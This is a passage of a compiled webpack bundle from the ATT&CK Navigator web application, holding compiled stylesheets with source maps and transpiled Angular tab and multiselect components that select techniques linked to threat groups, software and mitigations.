scroll;\n}\n.multiselect .stixType .objects table {\n border-collapse: collapse;\n width: 100%;\n}\n.multiselect .stixType .objects table tr + tr {\n border-top: 1px solid #f1f1f1;\n}\n.multiselect .stixType .objects table tr:hover {\n background: #60c5ff;\n}\n.multiselect .stixType .objects table td {\n width: 100px;\n text-align: left;\n}\n.multiselect .stixType .objects table td + td {\n width: 1px;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9tdWx0aXNlbGVjdC9tdWx0aXNlbGVjdC5jb21wb25lbnQuc2NzcyIsIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3RkaW4iLCJzcmMvYXBwL211bHRpc2VsZWN0L211bHRpc2VsZWN0LmNvbXBvbmVudC5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWVBOzs7Ozs7OztFQUFBO0FDWlE7RUFDSSxlQUFBO0VBQ0EsbUJBQUE7RUFDQSxZQUFBO0VBQ0EsU0FBQTtBQ09aO0FETFE7RUFDSSxhQUFBO0VBQ0Esa0JBQUE7QUNPWjtBRE5ZO0VBQ0kseUJBQUE7RUFDQSxXQUFBO0FDUWhCO0FEUGdCO0VBQ0ksNkJBQUE7QUNTcEI7QURQZ0I7RUFDSSxtQkRqQkc7QUUwQnZCO0FEUGdCO0VBQ0ksWUFBQTtFQUNBLGdCQUFBO0FDU3BCO0FEUm9CO0VBQ0ksVUFBQTtBQ1V4QiIsImZpbGUiOiJzcmMvYXBwL211bHRpc2VsZWN0L211bHRpc2VsZWN0LmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiJGNvbHVtbi1ob3Zlci1jb2xvcjogcmdiKDIzNSwgMjM1LCAyMzUpO1xuJGRpc2FibGVkLWNvbG9yOiBkYXJrZW4oJGNvbHVtbi1ob3Zlci1jb2xvciwgMjAlKTtcbiRjZWxsLWhpZ2hsaWdodC1jb2xvcjogcmdiKDk2LCAxOTcsIDI1NSk7XG4kaG92ZXItY2VsbC1mb250LWNvbG9yOiByZ2IoMCwgMCwgMCk7XG4kcGFuZWwtZGFyazogI2RkZDtcbiRwYW5lbC1saWdodDogbGlnaHRlbigkcGFuZWwtZGFyaywgOCUpO1xuJHRhYi10ZXh0LWNvbG9yOiAjNTU1O1xuJGJ1dHRvbi1kYXJrOiAjYjhiOGI4O1xuXG4vLyBBVFQmQ0sgQnJhbmQgY29sb3JzXG4kYXR0YWNrLWNvbG9yczogKFxuICAgIGF0dGFjay1vcmFuZ2U6ICNjNjNmMWYsXG4gICAgYXR0YWNrLWJsdWU6ICMwNjJmNGZcbik7XG5cbi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbiRjb2xvcnM6IChcbiAgICBwcmltYXJ5OiAoY29sb3I6IG1hcC1nZXQoJGF0dGFjay1jb2xvcnMsIGF0dGFjay1vcmFuZ2UpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBoZWFkZXIgYW5kIHNvbWUgbmF2IGVsZW1lbnRzXG4gICAgc2Vjb25kYXJ5OiAoY29sb3I6IG1hcC1nZXQoJGF0dGFjay1jb2xvcnMsIGF0dGFjay1ibHVlKSwgb24tY29sb3I6IHdoaXRlKSwgIC8vdXNlZCBmb3IgZm9vdGVyIGFuZCBzb21lIGJ1dHRvbnNcbiAgICBib2R5OiAoY29sb3I6IHdoaXRlLCBvbi1jb2xvcjogIzM5NDM0QyksICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vcHJpbWFyeSBwYWdlIGJvZHlcbi8vICBib2R5OiAoY29sb3I6IHJnYig1MCwgNTAsIDUwKSwgb24tY29sb3I6ICNjZGNkY2QpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2V4YW1wbGUgb2YgYSBkYXJrIHRoZW1lIGZvciB0aGUgc2l0ZVxuICAgIGxpbms6IChjb2xvcjogIzRmN2NhYyksICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2h5cGVybGlua3NcbiAgICBtYXRyaXgtaGVhZGVyOiAoY29sb3I6IGdyYXksIG9uLWNvbG9yOiB3aGl0ZSksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vY29sb3Igb2YgbWF0cml4IGhlYWRlcnNcblxuICAgIC8vYm9vdHN0cmFwIGNvbG9yc1xuICAgIGJvb3RzdHJhcC1wcmltYXJ5OiAoY29sb3I6ICM0MjhiY2EsIG9uLWNvbG9yOiB3aGl0ZSksXG4gICAgYm9vdHN0cmFwLXN1Y2Nlc3M6IChjb2xvcjogIzVjYjg1Yywgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtZGFuZ2VyOiAoY29sb3I6ICNkOTUzNGYsIG9uLWNvbG9yOiBibGFjayksXG4gICAgYm9vdHN0cmFwLXdhcm5pbmc6IChjb2xvcjogI2YwYWQ0ZSwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtaW5mbzogKGNvbG9yOiAjNWJjMGRlLCBvbi1jb2xvcjogd2hpdGUpLFxuXG4gICAgLy9UT0RPIGRlcHJlY2F0ZSB3aXRoIHNlYXJjaCBwYWdlIGNoYW5nZXNcbiAgICBzZWFyY2gtcmVzdWx0cy1ib3JkZXI6IChjb2xvcjogYmxhY2ssIG9uLWNvbG9yOiBsaWdodGdyZXkpLCAgXG4pO1xuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIGNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwiY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3IgbmFtZSwgZ2V0IGFuIGFsdGVybmF0ZSB2ZXJzaW9uIG9mIHRoZSBjb2xvciwgZm9yIHBhdHRlcm5pbmdcbi8vIGlmIHRoZSBiYXNlIGNvbG9yIGlzIGRhcmssIHRoZSBhbHRlcm5hdGUgd2lsbCBiZSBzbGlnaHRseSBsaWdodGVyLlxuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgbGlnaHQsIHRoZSBhbHRlcm5hdGUgd2lsbCBiZSBzbGlnaHRseSBkYXJrZXIuXG4vLyBjb250cmFzdCwgYW4gb3B0aW9uYWwgYXJndW1lbnQsIG11bHRpcGxpZXMgdG8gY3JlYXRlIGEgbW9yZSBkaXN0aW50IG9yIHNpbWlsYXIgY29sb3IuID4xIGlzIG1vcmUgZGlzdGFudCwgPDEgaXMgbW9yZSBzaW1pbGFyLlxuQGZ1bmN0aW9uIGNvbG9yLWFsdGVybmF0ZSgkbmFtZSwgJGNvbnRyYXN0OiAxKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIGNvbG9yKCRuYW1lKSwgJHdlaWdodDogJGNvbnRyYXN0ICogNSUpOyBcbn1cblxuLy8gYWNjZXNzb3IgaGVscGVyIGZvciAkY29sb3JzLiBHZXRzIHRoZSBvbi1jb2xvciBvZiB0aGUgbmFtZWQgcGFpclxuQGZ1bmN0aW9uIG9uLWNvbG9yKCRuYW1lKSB7XG4gICAgQHJldHVybiBtYXAtZ2V0KG1hcC1nZXQoJGNvbG9ycywgJG5hbWUpLCBcIm9uLWNvbG9yXCIpO1xufVxuXG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBlbXBoYXNpemVkIHZlcnNpb24gb2YgdGhlIG9uLWNvbG9yLlxuLy8gVGhlIGVtcGhhc2l6ZWQgb24tY29sb3IgaXMgbGVzcyBsaWtlIHRoZSBiYWNrZ3JvdW5kIGNvbG9yLlxuQGZ1bmN0aW9uIG9uLWNvbG9yLWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIG9uLWNvbG9yKCRuYW1lKSk7IFxufVxuLy8gZ2l2ZW4gYSBjb2xvci1uYW1lLCBnZXQgYW4gZGVlbXBoYXNpemVkIHZlcnNpb24gb2YgdGhlIG9uLWNvbG9yLlxuLy8gVGhlIGRlZW1waGFzaXplZCBvbi1jb2xvciBpcyBtb3JlIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZGVlbXBoYXNpcygkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGNvbG9yKCRuYW1lKSwgb24tY29sb3IoJG5hbWUpLCAyNSUpOyBcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBjb21wdXRlIGEgYm9yZGVyIGNvbG9yIGZvciB0aGUgY29sb3JcbkBmdW5jdGlvbiBib3JkZXItY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAxMi41JSk7IFxuICAgIC8vIEByZXR1cm4gcmdiYShpbnZlcnQoY29sb3IoJG5hbWUpKSwgMC4xMjUpO1xufVxuIiwiQGltcG9ydCBcIi4uLy4uL2NvbG9ycy5zY3NzXCI7XG4ubXVsdGlzZWxlY3Qge1xuICAgIC5zdGl4VHlwZSB7XG4gICAgICAgIGgxIHtcbiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIGJhY2tncm91bmQ6ICRwYW5lbC1saWdodDtcbiAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgIG1hcmdpbjogMDtcbiAgICAgICAgfVxuICAgICAgICAub2JqZWN0cyB7XG4gICAgICAgICAgICBoZWlnaHQ6IDE1MHB4O1xuICAgICAgICAgICAgb3ZlcmZsb3cteTogc2Nyb2xsO1xuICAgICAgICAgICAgdGFibGUge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgICAgICAgICAgdHIgKyB0ciB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAkcGFuZWwtbGlnaHQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHRyOmhvdmVyIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogJGNlbGwtaGlnaGxpZ2h0LWNvbG9yXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHRkIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMHB4O1xuICAgICAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgICAgICAgICAgICAgICAgICAmK3RkIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxcHg7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59IiwiLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuLm11bHRpc2VsZWN0IC5zdGl4VHlwZSBoMSB7XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgYmFja2dyb3VuZDogI2YxZjFmMTtcbiAgcGFkZGluZzogNXB4O1xuICBtYXJnaW46IDA7XG59XG4ubXVsdGlzZWxlY3QgLnN0aXhUeXBlIC5vYmplY3RzIHtcbiAgaGVpZ2h0OiAxNTBweDtcbiAgb3ZlcmZsb3cteTogc2Nyb2xsO1xufVxuLm11bHRpc2VsZWN0IC5zdGl4VHlwZSAub2JqZWN0cyB0YWJsZSB7XG4gIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gIHdpZHRoOiAxMDAlO1xufVxuLm11bHRpc2VsZWN0IC5zdGl4VHlwZSAub2JqZWN0cyB0YWJsZSB0ciArIHRyIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNmMWYxZjE7XG59XG4ubXVsdGlzZWxlY3QgLnN0aXhUeXBlIC5vYmplY3RzIHRhYmxlIHRyOmhvdmVyIHtcbiAgYmFja2dyb3VuZDogIzYwYzVmZjtcbn1cbi5tdWx0aXNlbGVjdCAuc3RpeFR5cGUgLm9iamVjdHMgdGFibGUgdGQge1xuICB3aWR0aDogMTAwcHg7XG4gIHRleHQtYWxpZ246IGxlZnQ7XG59XG4ubXVsdGlzZWxlY3QgLnN0aXhUeXBlIC5vYmplY3RzIHRhYmxlIHRkICsgdGQge1xuICB3aWR0aDogMXB4O1xufSJdfQ== */" + +/***/ }), + +/***/ "./src/app/multiselect/multiselect.component.ts": +/*!******************************************************!*\ + !*** ./src/app/multiselect/multiselect.component.ts ***! + \******************************************************/ +/*! exports provided: MultiselectComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "MultiselectComponent", function() { return MultiselectComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../data.service */ "./src/app/data.service.ts"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + +var MultiselectComponent = /** @class */ (function () { + function MultiselectComponent(dataService) { + this.dataService = dataService; + this.openedPanel = ""; + this.stixTypes = [{ + "label": "threat groups", + "objects": this.dataService.groups.filter(function (group, i, arr) { return arr.findIndex(function (t) { return t.id === group.id; }) === i; }) + .sort(function (a, b) { return a.name.toLowerCase().localeCompare(b.name.toLowerCase()); }) + }, { + "label": "software", + "objects": this.dataService.software.sort(function (a, b) { return a.name.toLowerCase().localeCompare(b.name.toLowerCase()); }) + }, { + "label": "mitigations", + "objects": this.dataService.mitigations.sort(function (a, b) { return a.name.toLowerCase().localeCompare(b.name.toLowerCase()); }) + }]; + } + MultiselectComponent.prototype.ngOnInit = function () { }; + MultiselectComponent.prototype.getRelated = function (stixObject) { + // master list of all techniques and sub-techniques + var allTechniques = this.dataService.techniques.concat(this.dataService.subtechniques); + if (stixObject instanceof _data_service__WEBPACK_IMPORTED_MODULE_2__["Group"]) { + return allTechniques.filter(function (technique) { return stixObject.relatedTechniques().includes(technique.id); }); + } + else if (stixObject instanceof _data_service__WEBPACK_IMPORTED_MODULE_2__["Software"]) { + return allTechniques.filter(function (technique) { return stixObject.relatedTechniques().includes(technique.id); }); + } + else if (stixObject instanceof _data_service__WEBPACK_IMPORTED_MODULE_2__["Mitigation"]) { + return allTechniques.filter(function (technique) { return stixObject.relatedTechniques().includes(technique.id); }); + } + }; + MultiselectComponent.prototype.deselect = function (stixObject) { + for (var _i = 0, _a = this.getRelated(stixObject); _i < _a.length; _i++) { + var technique = _a[_i]; + this.viewModel.unselectTechniqueAcrossTactics(technique); + } + }; + MultiselectComponent.prototype.select = function (stixObject) { + for (var _i = 0, _a = this.getRelated(stixObject); _i < _a.length; _i++) { + var technique = _a[_i]; + this.viewModel.selectTechniqueAcrossTactics(technique); + } + }; + MultiselectComponent.ctorParameters = function () { return [ + { type: _data_service__WEBPACK_IMPORTED_MODULE_2__["DataService"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__["ViewModel"]) + ], MultiselectComponent.prototype, "viewModel", void 0); + MultiselectComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'app-multiselect', + template: __webpack_require__(/*! raw-loader!./multiselect.component.html */ "./node_modules/raw-loader/index.js!./src/app/multiselect/multiselect.component.html"), + styles: [__webpack_require__(/*! ./multiselect.component.scss */ "./src/app/multiselect/multiselect.component.scss")] + }), + __metadata("design:paramtypes", [_data_service__WEBPACK_IMPORTED_MODULE_2__["DataService"]]) + ], MultiselectComponent); + return MultiselectComponent; +}()); + + + +/***/ }), + +/***/ "./src/app/tab/tab.component.scss": +/*!****************************************!*\ + !*** ./src/app/tab/tab.component.scss ***! + \****************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IiIsImZpbGUiOiJzcmMvYXBwL3RhYi90YWIuY29tcG9uZW50LnNjc3MifQ== */" + +/***/ }), + +/***/ "./src/app/tab/tab.component.ts": +/*!**************************************!*\ + !*** ./src/app/tab/tab.component.ts ***! + \**************************************/ +/*! exports provided: TabComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "TabComponent", function() { return TabComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; +// https://embed.plnkr.co/wWKnXzpm8V31wlvu64od/s + +var TabComponent = /** @class */ (function () { + function TabComponent() { + this.active = false; + this.isCloseable = false; + this.showScoreVariables = false; + } + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])('tabTitle'), + __metadata("design:type", String) + ], TabComponent.prototype, "title", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", Object) + ], TabComponent.prototype, "active", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", Object) + ], TabComponent.prototype, "isCloseable", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", Object) + ], TabComponent.prototype, "template", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", Object) + ], TabComponent.prototype, "dataContext", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", Object) + ], TabComponent.prototype, "showScoreVariables", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", Boolean) + ], TabComponent.prototype, "isDataTable", void 0); + TabComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'tab', + template: __webpack_require__(/*! raw-loader!./tab.component.html */ "./node_modules/raw-loader/index.js!./src/app/tab/tab.component.html"), + styles: [__webpack_require__(/*! ./tab.component.scss */ "./src/app/tab/tab.component.scss")] + }) + ], TabComponent); + return TabComponent; +}()); + + + +/***/ }), + +/***/ "./src/app/tabs/dynamic-tabs.directive.ts": +/*!************************************************!*\ + !*** ./src/app/tabs/dynamic-tabs.directive.ts ***! + \************************************************/ +/*! exports provided: DynamicTabsDirective */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "DynamicTabsDirective", function() { return DynamicTabsDirective; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/** + * This directive is used as an anchor to get access + * to the ViewContainerRef which here is exposed via + * the public member `viewContainer` + * + * Theres an ALTERNATIVE to explicitly using the anchor directive. + * Read in the blog post + */ +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + +var DynamicTabsDirective = /** @class */ (function () { + function DynamicTabsDirective(viewContainer) { + this.viewContainer = viewContainer; + } + DynamicTabsDirective.ctorParameters = function () { return [ + { type: _angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewContainerRef"] } + ]; }; + DynamicTabsDirective = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Directive"])({ + selector: '[dynamic-tabs]' + }), + __metadata("design:paramtypes", [_angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewContainerRef"]]) + ], DynamicTabsDirective); + return DynamicTabsDirective; +}()); + + + +/***/ }), + +/***/ "./src/app/tabs/tabs.component.scss": +/*!******************************************!*\ + !*** ./src/app/tabs/tabs.component.scss ***! + \******************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.tabs {\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n margin-top: 0;\n}\n.tabs > li {\n bottom: 0;\n position: relative;\n display: block;\n float: left;\n margin-bottom: 0;\n cursor: pointer;\n height: 23px;\n position: relative;\n display: block;\n padding: 10px 15px;\n margin-right: 2px;\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0;\n}\n.tabs > li a {\n font-family: \"Roboto Mono\", monospace;\n font-size: 14px;\n text-decoration: none;\n color: black;\n}\n.tabs > li input[type=text] {\n font-family: \"Roboto Mono\", monospace;\n font-size: 14px;\n border: none;\n background: none;\n}\n.tabs > li input[type=text]:not(:disabled):focus {\n background: #f1f1f1;\n}\n.tabs > li.addTab {\n font-size: 12pt;\n cursor: pointer;\n color: #aaaaaa;\n}\n.tabs > li.addTab:hover {\n color: black;\n}\n.tabs > li:hover:not(.active), .tabs > li:focus:not(.active) {\n text-decoration: none;\n}\n.tabs > li:hover:not(.active):not(.addTab), .tabs > li:focus:not(.active):not(.addTab) {\n border-color: #ddd #ddd #f1f1f1 #ddd;\n background-color: #f1f1f1;\n}\n.tabs > li > .tabEnumerator {\n position: absolute;\n top: -10px;\n right: 5px;\n padding: 2px 4px;\n background: yellow;\n border-radius: 5px;\n}\n.tabs > li.active {\n color: #555;\n cursor: default;\n background-color: #ddd;\n border: 1px solid transparent;\n}\n.tabs:before {\n display: table;\n content: \" \";\n}\n.tabs:after {\n display: table;\n clear: both;\n content: \" \";\n}\n.tab-close {\n margin-left: 10px;\n color: gray;\n text-align: right;\n cursor: pointer;\n}\n.tab-close:hover {\n color: black;\n}\n.newTab {\n padding: 5% 20%;\n}\n.border {\n border: 1px solid #ddd;\n}\n.layerOpTable td {\n padding: 5px;\n}\n.headers-align .mat-expansion-panel-header-title,\n.headers-align .mat-expansion-panel-header-description {\n flex-basis: 0;\n}\n.headers-align .mat-expansion-panel-header-description {\n justify-content: space-between;\n align-items: center;\n}\ninput[type=file] {\n padding: 5px;\n margin: 5px;\n width: 300px;\n background-color: #f1f1f1;\n border-radius: 0px;\n}\ninput[type=file]:hover {\n background-color: #ddd;\n}\n.helpButtonContainer {\n text-align: center;\n margin-top: 20px;\n}\n.header {\n text-align: right;\n}\n.header div {\n display: inline-block;\n cursor: pointer;\n}\n.header .logo {\n text-align: right;\n margin-right: 40px;\n padding: 5px;\n height: 2ex;\n}\n.header .logo a {\n text-decoration: none;\n color: #b01a1a;\n font-weight: 500;\n}\n.header .helpButton {\n position: fixed;\n top: 0;\n right: 0;\n background: white;\n border-style: solid;\n border-color: #ddd;\n border-width: 0 0 1px 1px;\n border-radius: 0 0 0 50%;\n text-align: center;\n width: 2ex;\n height: 2ex;\n padding: 5px;\n}\n.header .helpButton:hover {\n background: #f1f1f1;\n}\n.inputTable {\n width: 100%;\n border-collapse: collapse;\n}\n.inputTable tr {\n transition: ease 0.2s;\n width: 100%;\n margin-top: 5px;\n border-radius: 5px;\n}\n.inputTable tr.featureRow:hover {\n background: #f2f2f2;\n}\n.inputTable tr td {\n text-align: left;\n width: 1%;\n padding: 5px;\n}\n.inputTable tr td.featureRow-button img {\n vertical-align: middle;\n margin-bottom: 2px;\n}\n.inputTable tr td.subfeature:first-child {\n border-left: 1px solid #ddd;\n}\n.inputTable tr td.subfeature.last {\n border-bottom: 1px solid #ddd;\n}\n#layerlinkfield {\n color: rgba(0, 0, 0, 0.42);\n}\n#layerlinkfield .mat-form-field-underline {\n background: none;\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.42) 0, rgba(0, 0, 0, 0.42) 33%, transparent 0);\n background-size: 4px 1px;\n background-repeat: repeat-x;\n}\n#layerlinkfield #layerLink {\n cursor: pointer;\n}\n.layerLinks {\n list-style: none;\n padding-left: 0;\n margin: 0;\n}\n/*# 